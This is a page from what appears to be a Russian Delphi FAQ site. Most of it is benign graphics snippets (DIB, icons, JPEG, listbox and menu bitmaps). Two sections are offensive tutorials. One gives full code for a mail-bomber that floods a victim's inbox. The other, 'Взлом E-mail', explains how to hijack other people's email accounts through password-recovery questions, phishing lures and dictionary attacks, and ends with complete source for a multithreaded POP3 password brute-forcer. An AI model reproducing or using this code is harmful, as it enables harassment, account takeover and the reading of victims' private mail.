Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 8 мая!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Создание DIB из BMP

Автор: Mike Scott

Если файл хранится в формате BMP, как мне преобразовать его в DIB и как затем отобразить?

Это не тривиально, но помочь нам смогут функции GetDIBSizes и GetDIB из модуля GRAPHICS.PAS. Приведу две процедуры: одну для создания DIB из TBitmap и вторую для его освобождения:


 { Преобразование TBitmap в DIB }
 
 procedure BitmapToDIB(Bitmap: TBitmap;
   var BitmapInfo: PBitmapInfo;
   var InfoSize: integer;
   var Bits: pointer;
   var BitsSize: longint);
 begin
   BitmapInfo := nil;
   InfoSize := 0;
   Bits := nil;
   BitsSize := 0;
   if not Bitmap.Empty then
   try
     GetDIBSizes(Bitmap.Handle, InfoSize, BitsSize);
     GetMem(BitmapInfo, InfoSize);
     Bits := GlobalAllocPtr(GMEM_MOVEABLE, BitsSize);
     if Bits = nil then
       raise
         EOutOfMemory.Create('Не хватает памяти для пикселей изображения');
     if not GetDIB(Bitmap.Handle, Bitmap.Palette, BitmapInfo^, Bits^) then
       raise Exception.Create('Не могу создать DIB');
   except
     if BitmapInfo <> nil then
       FreeMem(BitmapInfo, InfoSize);
     if Bits <> nil then
       GlobalFreePtr(Bits);
     BitmapInfo := nil;
     Bits := nil;
     raise;
   end;
 end;
 
 { используйте FreeDIB для освобождения информации об изображении и битовых указателей }
 
 procedure FreeDIB(BitmapInfo: PBitmapInfo;
   InfoSize: integer;
   Bits: pointer;
   BitsSize: longint);
 begin
   if BitmapInfo <> nil then
     FreeMem(BitmapInfo, InfoSize);
   if Bits <> nil then
     GlobalFreePtr(Bits);
 end;
 

Создаем форму с TImage Image1 и загружаем в него 256-цветное изображение, затем рядом размещаем TPaintBox. Добавляем следующие строчки к private-объявлениям вашей формы:


 { Private declarations }
 BitmapInfo : PBitmapInfo ;
 InfoSize   : integer ;
 Bits       : pointer ;
 BitsSize   : longint ;
 

Создаем нижеприведенные обработчики событий, которые демонстрируют процесс отрисовки DIB:


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   BitmapToDIB(Image1.Picture.Bitmap, BitmapInfo, InfoSize,
     Bits, BitsSize);
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   FreeDIB(BitmapInfo, InfoSize, Bits, BitsSize);
 end;
 
 procedure TForm1.PaintBox1Paint(Sender: TObject);
 var
   OldPalette: HPalette;
 begin
   if Assigned(BitmapInfo) and Assigned(Bits) then
     with BitmapInfo^.bmiHeader, PaintBox1.Canvas do
     begin
       OldPalette := SelectPalette(Handle,
         Image1.Picture.Bitmap.Palette,
         false);
       try
         RealizePalette(Handle);
         StretchDIBits(Handle, 0, 0, PaintBox1.Width, PaintBox1.Height,
           0, 0, biWidth, biHeight, Bits,
           BitmapInfo^, DIB_RGB_COLORS,
           SRCCOPY);
       finally
         SelectPalette(Handle, OldPalette, true);
       end;
     end;
 end;
 

Это поможет вам сделать первый шаг. Единственное, что вы можете захотеть, это создание собственного HPalette на основе DIB, вместо использования TBitmap и своей палитры. Функция с именем PaletteFromW3DIB из GRAPHICS.PAS как раз этим и занимается, но она не объявлена в качестве экспортируемой, поэтому для ее использования необходимо скопировать ее исходный код и вставить его в ваш модуль.




Как создать ICO из BMP


Нужно создать два bitmap'а: bitmap-маску ("AND" bitmap) и bitmap-картинку (XOR bitmap). Потом передать дескрипторы "AND" и "XOR" bitmap-ов API функции CreateIconIndirect():


 procedure TForm1.Button1Click(Sender: TObject);
 var
   IconSizeX: integer;
   IconSizeY: integer;
   AndMask: TBitmap;
   XOrMask: TBitmap;
   IconInfo: TIconInfo;
   Icon: TIcon;
 begin
   {Get the icon size}
   IconSizeX := GetSystemMetrics(SM_CXICON);
   IconSizeY := GetSystemMetrics(SM_CYICON);
   {Create the "And" mask}
   AndMask := TBitmap.Create;
   AndMask.Monochrome := true;
   AndMask.Width := IconSizeX;
   AndMask.Height := IconSizeY;
   {Draw on the "And" mask}
   AndMask.Canvas.Brush.Color := clWhite;
   AndMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
   AndMask.Canvas.Brush.Color := clBlack;
   AndMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);
   {Draw as a test}
   Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);
   {Create the "XOr" mask}
   XOrMask := TBitmap.Create;
   XOrMask.Width := IconSizeX;
   XOrMask.Height := IconSizeY;
   {Draw on the "XOr" mask}
   XOrMask.Canvas.Brush.Color := ClBlack;
   XOrMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
   XOrMask.Canvas.Pen.Color := clRed;
   XOrMask.Canvas.Brush.Color := clRed;
   XOrMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);
   {Draw as a test}
   Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);
   {Create a icon}
   Icon := TIcon.Create;
   IconInfo.fIcon := true;
   IconInfo.xHotspot := 0;
   IconInfo.yHotspot := 0;
   IconInfo.hbmMask := AndMask.Handle;
   IconInfo.hbmColor := XOrMask.Handle;
   Icon.Handle := CreateIconIndirect(IconInfo);
   {Destroy the temporary bitmaps}
   AndMask.Free;
   XOrMask.Free;
   {Draw as a test}
   Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);
   {Assign the application icon}
   Application.Icon := Icon;
   {Force a repaint}
   InvalidateRect(Application.Handle, nil, true);
   {Free the icon}
   Icon.Free;
 end;
 




Преобразовать BMP в JPEG


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls, ExtCtrls;
 
 type
 TForm1 = class(TForm)
   Button1: TButton;
   Image1: TImage;
   procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
 end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 uses JPEG;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   JPEG: TJPEGImage;
   Bitmap: TBitmap;
 begin
   JPEG := TJPEGImage.Create;
   Bitmap := TBitmap.Create;
   try
     Bitmap.LoadFromFile('C:\Program Files\Common Files\alarm.bmp');
     JPEG.Assign(Bitmap);
     Image1.Picture.Assign(JPEG);
   finally
     JPEG.Free;
     Bitmap.Free;
   end;
 end;
 
 end.
 




Как вставить растровое изображение в компонент ListBox

Для этого необходимо установить в инспекторе объектов поле Style в lbOwnerDrawFixed, при фиксированной высоте строки, или в lbOwnerDrawVariable, при переменной, и установить собственный обработчик события для OnDrawItem. В этом обработчике и надо рисовать растровое изображение.

Пример:

Рисуются изображения размером 32*16 (размер стандартного глифа для Delphi). Очень полезно при поиске нужного изображения для кнопок!

Установить в инспекторе объектов для ListBox поле ItemHeight = 19, а поле Color = clBtnFace.


 { Загрузить список файлов в ListBox1 при нажатии на кнопку Load (например)}
 procedure TForm1.bLoadClick(Sender: TObject);
 var
   S : string;
 begin
   ListBox1.Clear; {чистим список}
   S := '*.bmp'#0; {задаем шаблон}
   ListBox1.Perform(LB_DIR, DDL_ReadWrite, Longint(@S[1])); {заполняем список}
 end;
 
 ...
 
 {Отобразить изображения и имена файлов в ListBox}
 procedure TForm1.ListBox1DrawItem(Control: TWinControl; index: Integer;
 Rect: TRect; State: DrawState);
 var
   Bitmap: TBitmap;
   Offset: Integer;
   BMPRect: TRect;
 begin
   with (Control as TListBox).Canvas do
   begin
     FillRect(Rect);
     Bitmap := TBitmap.Create;
     Bitmap.LoadFromFile(ListBox1.Items[index]);
     Offset := 0;
     if Bitmap <> nil then
     begin
       BMPRect := Bounds(Rect.Left+2, Rect.Top+2,
       (Rect.Bottom-Rect.Top-2)*2, Rect.Bottom-Rect.Top-2);
       {StretchDraw(BMPRect, Bitmap); Можно просто нарисовать, но лучше сначала убрать фон}
       BrushCopy(BMPRect,Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height),
       Bitmap.Canvas.Pixels[0, Bitmap.Height-1]);
       Offset := (Rect.Bottom-Rect.Top+1)*2;
     end;
     TextOut(Rect.Left+Offset, Rect.Top, ListBox1.Items[index]);
     Bitmap.Free;
   end;
 end;
 




Как поместить маленькие битмапы в TPopupMenu

Следующий пример демонстрирует добавление битмапа в пункт PopUpMenu при помощи API функции SetMenuItemBitmaps(). Эта функция имеет следующие параметры: дескриптор всплывающего меню, номер (начиная с нуля) пункта меню в который мы хотим добаить битмап, и два дескриптора битмапов (одна картинка для меню в активном состоянии, а вторая для неактивного состояния).


 type
   TForm1 = class(TForm)
     PopupMenu1: TPopupMenu;
     Pop11: TMenuItem;
     Pop21: TMenuItem;
     Pop31: TMenuItem;
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
       Shift: TShiftState; X, Y: Integer);
   private
     { Private declarations }
     bmUnChecked: TBitmap;
     bmChecked: TBitmap;
   public
     { Public declarations }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   bmUnChecked := TBitmap.Create;
   bmUnChecked.LoadFromFile(
     'C:\Program Files\Borland\BitBtns\ALARMRNG.BMP');
   bmChecked := TBitmap.Create;
   bmChecked.LoadFromFile(
     'C:\Program Files\Borland\BitBtns\CHECK.BMP');
   {Добавляем битмапы в пункт меню начиная с 1 в PopUpMenu}
   SetMenuItemBitmaps(PopUpMenu1.Handle,
     1,
     MF_BYPOSITION,
     BmUnChecked.Handle,
     BmChecked.Handle);
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   bmUnChecked.Free;
   bmChecked.Free;
 end;
 
 procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
   Shift: TShiftState; X, Y: Integer);
 var
   pt: TPoint;
 begin
   pt := ClientToScreen(Point(x, y));
   PopUpMenu1.Popup(pt.x, pt.y);
 end;
 




Как поместить Bitmap в Metafile

В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит:
- Вот ведь блин, и ведь БЕЗ ВСЯКОГО OpenGL!!!


 procedure TForm1.Button1Click(Sender: TObject);
 var
   m : TmetaFile;
   mc : TmetaFileCanvas;
   b : tbitmap;
 begin
   m := TMetaFile.Create;
   b := TBitmap.create;
   b.LoadFromFile('C:.bmp');
   m.Height := b.Height;
   m.Width := b.Width;
   mc := TMetafileCanvas.Create(m, 0);
   mc.Draw(0, 0, b);
   mc.Free;
   b.Free;
   m.SaveToFile('C:.emf');
   m.Free;
   Image1.Picture.LoadFromFile('C:.emf');
 end;
 




Программа для бомбардирования почтовых ящиков


Поймал мужик золотую рыбку.
- Загадывай желание, исполню.
- Хочу мира во всём мире.
- Не, это сложно...
- Ну, тогда пусть Винда не глючит.
- Слыш, мужик, а как насчёт мира во всём мире?

Седня мы напишем свой мылбомбер.... Желательно юзать делфю 5й версии, ну или на крайний случай 4ой. Итак, запускаем Делфи, новое приложение создается автоматически, при запуске. То, что ты сейчас видишь это всего навсего пустая форма, сейчас мы сделаем из нее мэйлбомбер.

Для начала займемся интерфэйсом. Размер формы можно изменять двумя способами: при помощи мыши и при помощи изменения в Object Inspector'е свойство формы Width (ширина) и Height (Высота). Для того, чтобы изменить свойства любого объекта, просто кликни на нем мышью и в Object Inspector'е на закладке Properties появяться нужные тебе свойства . Теперь меняй свойство формы Caption (заголовок) на что-нибудь типа 'МылБомбер'. Дальше нам нужно поместить на форму по 7 компонентов edit и label из закладки Standart. Метки расставь над Edit'ами. Выделяй 1ю метку и меняй ее свойство caption, и так для каждой метки. Нам нужны метки со следующими Caption'ами - "Хост', 'Порт', 'Логин', 'От', 'Кому', 'Тема' и 'Количество мессаг'. Так, теперь меняй свойства Text для Edit'ов на пустую строку, ну или на что хочешь :) Теперь добавь компоненты Button, Memo и еще одну метку из закладки Standart.Для Memo удали все строки из свойства Lines, для Button поменяй Caption на 'Послать', а для метки в Caption пиши 'Cлушаюсь и повинуюсь :)'. Осталось только добавить компонент MNSMTP из закладки FastNet и можно приступать к кодингу.

Теперь начинаем самое интересное - кодить :) Кликай два раза по кнопке 'Послать', появиться процеДУРА, которая будет выполняться при нажатии на кнопке. Эта процедура должна выглядить следующим образом:


 procedure TForm1.Button1Click(Sender: TObject);
 var
   {если, кто не знает, это объявление двух
   переменных I, NUM и J целого (integer) типа.}
   i, num, j: integer;
 begin
   {Свойству компонента nmsmtp присваеваем значение Ложь,
   если бы мы этого не сделали, то все установки для PostMessage,
   после отправки письма (метод SendMail), стали бы пустыми и нам
   бы пришлось их устанваливать заново.
   (по умолчанию значение этого метода = true).}
   NMsmtp1.ClearParams := false;
   NMsmtp1.host := edit1.text; //устанавливаем имя хоста из edit1
   NMsmtp1.UserId := edit2.text; //идентификатор отправителя
   NMsmtp1.Port := strtoint(edit3.text); //Порт
 
   NMsmtp1.PostMessage.FromAddress := edit4.text; // Адрес отправителя =)
   NMsmtp1.PostMessage.FromName := edit4.text; // Имя отправителя
   {Добавить этот адресс к списку адрессов,
   по которым будет отправлено данное сообщение}
   NMsmtp1.PostMessage.ToAddress.Add(Edit6.text);
   //в свойство Body суем содерджимое Memo1
   NMsmtp1.PostMessage.body.Addstrings(Memo1.Lines);
   NMsmtp1.PostMessage.Subject := edit5.text; //Это тема письма
   NMsmtp1.PostMessage.LocalProgram := 'thE BAt'; //Имя проги отправителя
 
   NMsmtp1.Connect; //устанавливаем связь с серваком
   j := strtoint(edit7.text); //В переменную j заносим кол-во писем из edit7.text
   for I := 1 to j do {начало цикла}
   begin
     {фунция strtoint() переводит текстовую
     переменною в переменную типа integer}
     num := strtoint(edit7.text) - 1;
     edit7.text := inttostr(num); //думаю здесь понятно
     NMsmtp1.SendMail; //шлем почту
   end;
   NMsmtp1.Disconnect; //отсоединяемся от сервака
 end;
 

Теперь пришло время поработать мышой, а то она уже заскучала :) Давай, буди своего грызуна и вперед. Для начала сохрани то, что ты написал(File->Save All)! Затем сворачивай окно, в котором ты писал код. Перед тобой опять наша форма. Кликни по компоненту mnsmtp1. Переходи в Object Inspector кликай по закладке Events (типа события). Видишь событие OnConnect - нам туда, кликай по пустой строке радом с нимдва раза, создасться очередная процедура. Пиши в ней:


 procedure TForm1.NMSMTP1Connect(Sender: TObject);
 begin
   Label8.caption := 'Устанавливаем связь...';
 end;
 

Для события OnDisconnect пиши:


 procedure TForm1.NMSMTP1Disconnect(Sender: TObject);
 begin
   Label8.Caption := 'Дисконнект';
 end;
 

Для события OnSendStart пиши:


 procedure TForm1.NMSMTP1SendStart(Sender: TObject);
 begin
   Label8.Caption := 'Посылка...';
 end;
 

Если хочешь, можешь таким же способом обработать все события, главное ты понял суть( я надеюсь :)).

Ну вот и все. Осталось только откомпилить и твой МылБомбер готов :) Жми F9, если ошибок нету, то после компиляции твоя прога запуститься, а, если ошибки все-таки есть, то набивай код внимательней. У меня все работает. Юзай :)




Поиск загрузочного диска

Последние слова дочери программера:
- Папа, почему этот магнит не притягивает этот флоппи-диск?


 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
 

Значение "BootDir" и есть искомая величина.




Взлом E-mail 1


Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Штирлиц просматривал электронную почту. Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. "Шифровка!!!" - подумал Мюллер. "Koi-8" - подумал Штирлиц.

Недавно наткнулся на прикольный форум, где собираются кардеры, спамеры и прочее. Почитал. Одна тема продвинула меня на написание этой статьи. Человек написал, что заплатит за взлом мыла. Взломать надо было не соседа Васю Непупкина, а что-то посерьезней. Было несколько отзывов. Первый поинтересовался на каком серваке расположено мыло, хотя e-mail адрес был указан. Без комментариев. Второй, даже не изучив сервак, заподозрил, что при взломе ему ничего не заплатят. Шкура неубитого медведя называется. Третий написал, что он возьмется это сделать за неделю. Дальше рассказывать не буду - уже смешно. Рассмотрим по пунктам весь этот процесс, который у некоторых "особо продвинутых" занимает неделю. Эта статья не будет похожа на описание программы с полем ввода адреса и большой кнопкой "Hack it", хотя я постараюсь сказать на эту тему как можно больше. Есть основные 4 способа взлома мыла.

  1. Отсылка на атакуемое мыло сообщения, содержащего какой-то код, который после своего выполнения, позволит получить пароль или изменить его на нужный. Опять же, если мыло не соседа-собутыльника, а чего-то более серьезного, то письма получают не дырявым аутглюком и не експлорером, а почтовым клиентом с отключенным выполнением скриптов. Плюс еще их просматривают в диспечере сообщений на предмет приатаченных файлов и на серваке стоит брандмауэр, который автоматом переименовывает все прикрепленные выполняемые файлы. Облом. Только засветиться. И ничего конкретно тут пообещать нельзя.
  2. Ошибки web-интерфейса сервиса для работы с почтой. В частности, подмена запросов после авторизации на своем мыле так, чтобы "вплыть" в настройки чужого. Это все уже практически везде пофиксено. Останавливаться на этом не буду.
  3. Взлом самого сервака с почтовым сервисом. Т.е. надо всесторонне изучить сервер, найти на нем дырки, найти бесплатный работающий эксплоит и т.д. и т.п. Дырок может и не быть или соответствующие эксплоиты платны или не выставленны на всеобщее обозрение. Тем более, если ты взломал сервер с серьезным мылом, то нафиг тебе за копейки продавать эту инфу. Если кто-то знает как им распорядиться, то имея сервак "в кармане" ты и сам можешь об этом догадаться. Или можно продавать информацию кусками, по мере ее поступления. В любом случае, обещание по поводу недели на взлом....
  4. Брутфорс. Самый тупой способ. Перебор паролей по словарю или подряд всех символов. Остановимся более подробно на этом способе. Первое, что нужно для этого, это словарь. На этом же форуме я обнаружил еще одно очень веселое объявление о продаже файла, содержащего 360000 паролей. Файл паролей можно взять где угодно. Даже просто пойти и скачать какую-нибудь программу-переводчик.

Теперь немного математики. Рассмотрим такой случай: пароль - не слово, а случайный набор маленьких английских символов. Для того, чтобы подобрать 2-ух буквенный пароль, по теории вероятности, надо 26*26/2=338 раз перебрать пароль. Для трехбуквенного - 26^3/2=8788, для четырехбуквенного - 26^4/2=228488 и т.д.. Тут, конечно, есть варианты. Можно сначала перебирать так: первая буква - гласная, вторая - согласная; первая - согласная, вторая - гласная. Но, если пароль состоит не только из маленьких английских букв, но и из больших, плюс цифры и спец-символы, то большой облом. Одно дело у себя локально на крутом компе подобрать пароль к excel-евскому документу, а другое дело по инету. Итак, мы определились, что прямой перебор не катит. При таком пароле, надо пробовать первые три способа.

Немного о безопасности. Некоторые провайдеры делают мыло так, что получить его можно только выйдя в инет через них. Проверка может быть только на диапазон адресов и есть некоторая возможность для спуфинга, но... В общем, только третий способ. Ломать прова. Взломать его за неделю - это, мягко говоря, несколько опрометчивое высказывание. Или ты уже знаешь как и тогда это происходит за пару часов, или....

Рассмотрим перебор по словарю. Здесь есть несколько вариантов:

  • Самый быстрый - задействовать свой полный шелл на быстром серваке. Есть несколько "но": если обнаружат, то аккаунт прикроют. Ради призрачной вероятности заработать несколько денег, рисковать полным шеллом - это сильно круто и расточительно. Использовать прокси - тоже не выход. Можно использовать вариант с каким-то уже взломанным серваком, но см.выше. Его терять еще более обидно.
  • Можно создать web-страницу c поддержкой запуска скриптов и повесить счетчик, который при каждом посещении будет перебирать несколько вариантов. Опять же, пагу могут и закрыть. Все усилия по ее раскрутке может "зачеркнуть" какой-то админ-мудак.
  • Самый безопасный, но и самый ненадежный способ - накодить спец прогу и занести ее в компьютерный клуб. При работе с инетом, она будет перебирать по чуть-чуть пароли. Потом приходишь раз в ..., и смотришь результаты. Но эту прогу надо еще написать и замаскировать - в этом клубе админы могут полными идиотами и не быть.
  • Ну и, самый распространенный способ - перебирать со своего компа. Есть целый ряд программ для этого, но все они мне, лично, не нравятся, и в этой статье я буду рассказывать, как написать брутфорсер самому.

На самом деле, иногда, все не так уж и безнадежно. Рассмотрим несколько реальных примеров. Вернее, я оговорился - все примеры выдуманны, все имена изменены, и любые совпадения абсолютно случайны.

Пример 1.

Зеркало. Не люблю я спамеров. Вот интересный случай: прочитал я где-то объяву о том, что представитель этой масти может заплатить за спам лист, вытащенный из какого-то сервера. Мыло его было sexxx@glukr.net. Ломанулся я на http://www.glukr.net и сразу же нажал "Забыл пароль". Служба борьбы с амнезией - очень интересная штука. Человек может указать очень сложный пароль, но правдиво, коротко и просто ответить на вопросы в интересующем нас разделе. Мне высветилось: "Ответьте на вопрос:", "sex", ясен пень - "sex". Опа. Такая приятная табличка "Установите новый пароль". Спамер остался без мыла. Для этого мне не понадобилось ничего, кроме моей любимой оперы и 2 минут времени.

Пример 2.

Идиотизм. Когда-то мне пришло письмо вроде бы от достаточно известной конторы, занимающейся безопасностью. Там было предложение заполнить резюме и выслать его на мыло с уже рассмотренного нами бесплатного, очень популярного, но такого дырявого glukr.net. Резюме было на 3-ех листах с просьбой указать ВСЮ информацию о себе. Я сразу заподозрил неладное. Или кто-то очень хотел получить обо мне всю инфу для каких-то своих "черных" замыслов и не имел ничего общего с этой конторой (что скорее всего), или в этой конторе есть очень умные люди (см. тему примера). На "Забыл пароль" у меня спросили рост. Введя пару значений, я обнаружил временную защиту, т.е. за определенный промежуток времени нельзя было вводить более двух вариантов. Рассудив, что карлик какой-то не будет отвечать на вопрос о росте, я начал со 180. Вводя по чуть-чуть цифры, к утру, я увидел такую родную сердцу табличку. Вместо того, чтобы ввести что-то типа "6 futov 1 дюйм + 2 litra пива", там было цифровое значение. Ничего я менять не стал, а то, вдруг, действительно людей на работу берут, а я потопчусь своими кроссовками рибок 46-ого размера по большому и чистому....

Пример 3.

Социальная инжененрия. На некоторых серваках на вопрос "Забыл пароль" надо указать дату рождения и, например, любимое блюдо. Казалось бы, очень сложно, но.... Надо просто открыть мыло, например, supergirl@mail.ru и послать с него открытку "Поздравляю с днем рождения" и какую-нибудь глупую подпись. Вполне возможно, что он ответит "У меня не сегодня день рождения, а 32 марта". Или послать сообщение "Мы разыгрываем 10000 видов на жительство у америкосов и Вас компьютер выбрал случайно. Укажите в обратном письме Ваше образование и дату рождения и ...". В общем, на первый взгляд, вполне безобидно. Вариантов много. Узнав его дату рождения, перебрать любимое блюдо - можно, но т.к. практически у всех есть временная защита, то тут, скорее всего, если сразу не угадал, тоже облом. Также может быть указано имя матери. Словарь из имен можно составить самому или взять на серваке с гороскопами по имени и прочей лабудой. Тут главное понять, что женских имен не так уж и много, и указывают их обычно не как "лена" или "оля", а "Елена" или "Ольга". Также следует учесть, что человеку иногда облом переключать раскладку и имя может быть в английской транскрипции.

Пример 4.

Глобальный поиск. Включить поиск по атакуемому мылу. Если это мыло присутствует на какой-нибудь доске объявлений или рассылке, то написать ему соответствующее сообщение (см. пример 3), исходя из полученных сведений. Также пароль в какой-нибудь форум или чат получить иногда гораздо легче, и в большинстве случаев он от пароля на мыло не отличается.

Пример 5.

Навороты web-сайта. На сервере одного прова обнаружил голосование, с просмотром результатов. Результаты вызывались через url, в котором указывался один из параметров - куда после этого перейти. С соответствующими правами. Гении программирования, мля. Там еще был дополнительный web-интерфейс для работы с почтой. В корень выйти не получилось, но сходив к ним, потратив несколько баксов на диалап и мыло, просканировав сервак на предмет установленного почтового сервиса и поэксперементировав с купленным мылом, я понял, почему некоторые жаловались на то, что по 5-ти часовой карточке у них больше 2-ух часов не работаешь и кто-то периодически читает у этого прова все мыло. Но это тема отдельного разговора. Кстати, нужный мне пароль оказался "qwerty". Обычно, первое слово в большинстве словарей.

Рассмотрим способы защиты службы борьбы с амнезией. Первый - временная защита (кстати, на mail.xakep.ru я ее не обнаружил, хотя может не там смотрел). Второе - указывать любимое блюдо не "Пиво" и рост - не "215". Таким образом, в большинстве случаев способ "Забыл пароль" не действует. Теперь рассмотрим вариант, при котором человек не должен догадываться, что его мыло читают, т.е. даже подбор "Забыл пароль" не катит. Перейдем непосредственно к исследованиям и кодингу. Я не буду рассматривать написание брутфорса на перл для работы на удаленном сервере - это есть на http://www.xakep.ru. Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.

POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:


 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ComCtrls, StdCtrls, WinSock;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     ProgressBar1: TProgressBar;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
 end;
 
 // Описание процесса
 type
   TScan = class(TThread)
     sock2 : TSocket;
     addr:TSockAddrIn;
     WSAData : TWSAData;
   private
     procedure CScan;
   protected
     procedure Execute; override;
 end;
 
 var
   Form1: TForm1;
   // Массив процессов
   Sock : array[1..255] of TScan;
   Rez : boolean = false;
   // Кол-во запущенных процессов на данный момент
   I0 : Integer;
   // Номер текущего пароля
   I : Integer;
   // TStringList с паролями
   PassList : TStringList;
 
 
 const
   FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
   ProcCount = 10; // кол-во процессов
   POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
   User = 'dndanil';
 
 implementation
 {$R *.DFM}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   PassList:=TStringList.Create;
 end;
 
 // Запуск / Остановка
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if Rez then
     Rez:=false
   else
   begin
     // Открытие и загрузка файла паролей
     try
       PassList.Clear;
       PassList.LoadFromFile(FilePass);
     except
     end;
     if PassList.Count<=0 then
     begin
       Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
       exit;
     end;
     Form1.Button1.Caption:='Stop';
     Form1.ProgressBar1.Position:=0;
     // Кол-во паролей
     Form1.ProgressBar1.Max:=PassList.Count;
     Application.ProcessMessages;
     I:=0;
     I0:=1;
     Rez:=true;
     // Запустить все процессы
     while true do
     begin
       Sock[I0]:=TScan.Create(false);
       inc(I0); // Подсчитать их кол-во
       //Выйти если больше указанного, или стоп, или подобрали
       if (I0>ProcCount)or(not Rez) then
         break;
     end;
   end;
 end;
 
 // Проца инициализации процесса
 procedure TScan.Execute;
 begin
   try
     // Запуск цикла
     while true do
     begin
       CScan;
       //Выход, если подобрали или закончился словарь
       if (not Rez)or(I>=PassList.Count) then
         break;
     end;
   except
   end;
   dec(I0);
   try
     Terminate;
   except
   end;
   //Если все процессы прерваны -
   if I0<=1 then
   begin
     Form1.Button1.Caption:='Hack it';
     Rez:=false;
     Application.ProcessMessages;
   end;
 end;
 
 //Проца сканирования
 procedure TScan.CScan;
 var
   iaddr, x, I2 : Integer;
   Buf : array [1..255] of Char;
 
   //Отправка
   procedure sender(str:string);
   var
     I1: integer;
   begin
     for I1:=1 to Length(str) do
       if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
         exit;
   end;
 
 begin
   I2:=I;
   inc(I);
   Form1.ProgressBar1.Position:=I2+1;
   Application.ProcessMessages;
   try
     // Инициализация сокета
     WSAStartUp(257, WSAData);
     sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
     if sock2=INVALID_SOCKET then
     begin
       try
         closesocket(sock2);
       except
       end;
       exit;
     end;
     //Адрес сервака
     iaddr := inet_addr(PChar(POP3serv));
     if iaddr <=0 then
     begin
       try
         closesocket(sock2);
       except
       end;
       exit;
     end;
     addr.sin_family := AF_INET;
     // Порт сервака
     addr.sin_port := htons(110);
     addr.sin_addr.S_addr:=iaddr;
     if (connect(sock2, addr, sizeof(addr))) >0 then
     begin
       try
         closesocket(sock2);
       except
       end;
       exit;
     end;
     //Получение при соединении
     x:=recv(sock2,buf,sizeof(Buf),0);
     if (x=SOCKET_ERROR)or(buf[1]<>'+') then
       exit;
     //"user user"
     sender('user '+User+#13+#10);
     x:=recv(sock2,buf,sizeof(Buf),0);
     if (x=SOCKET_ERROR)or(buf[1]<>'+') then
       exit;
     //"pass password"
     sender('pass '+PassList.Strings[I2]+#13+#10);
     x:=recv(sock2,buf,sizeof(Buf),0);
     //Если подобралось
     if (x>3)and(buf[1]='+') then
     begin
       Rez:=false;
       Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
       exit;
     end;
     try
       closesocket(sock2);
     except
     end;
   except
   end;
 end;
 
 end.
 

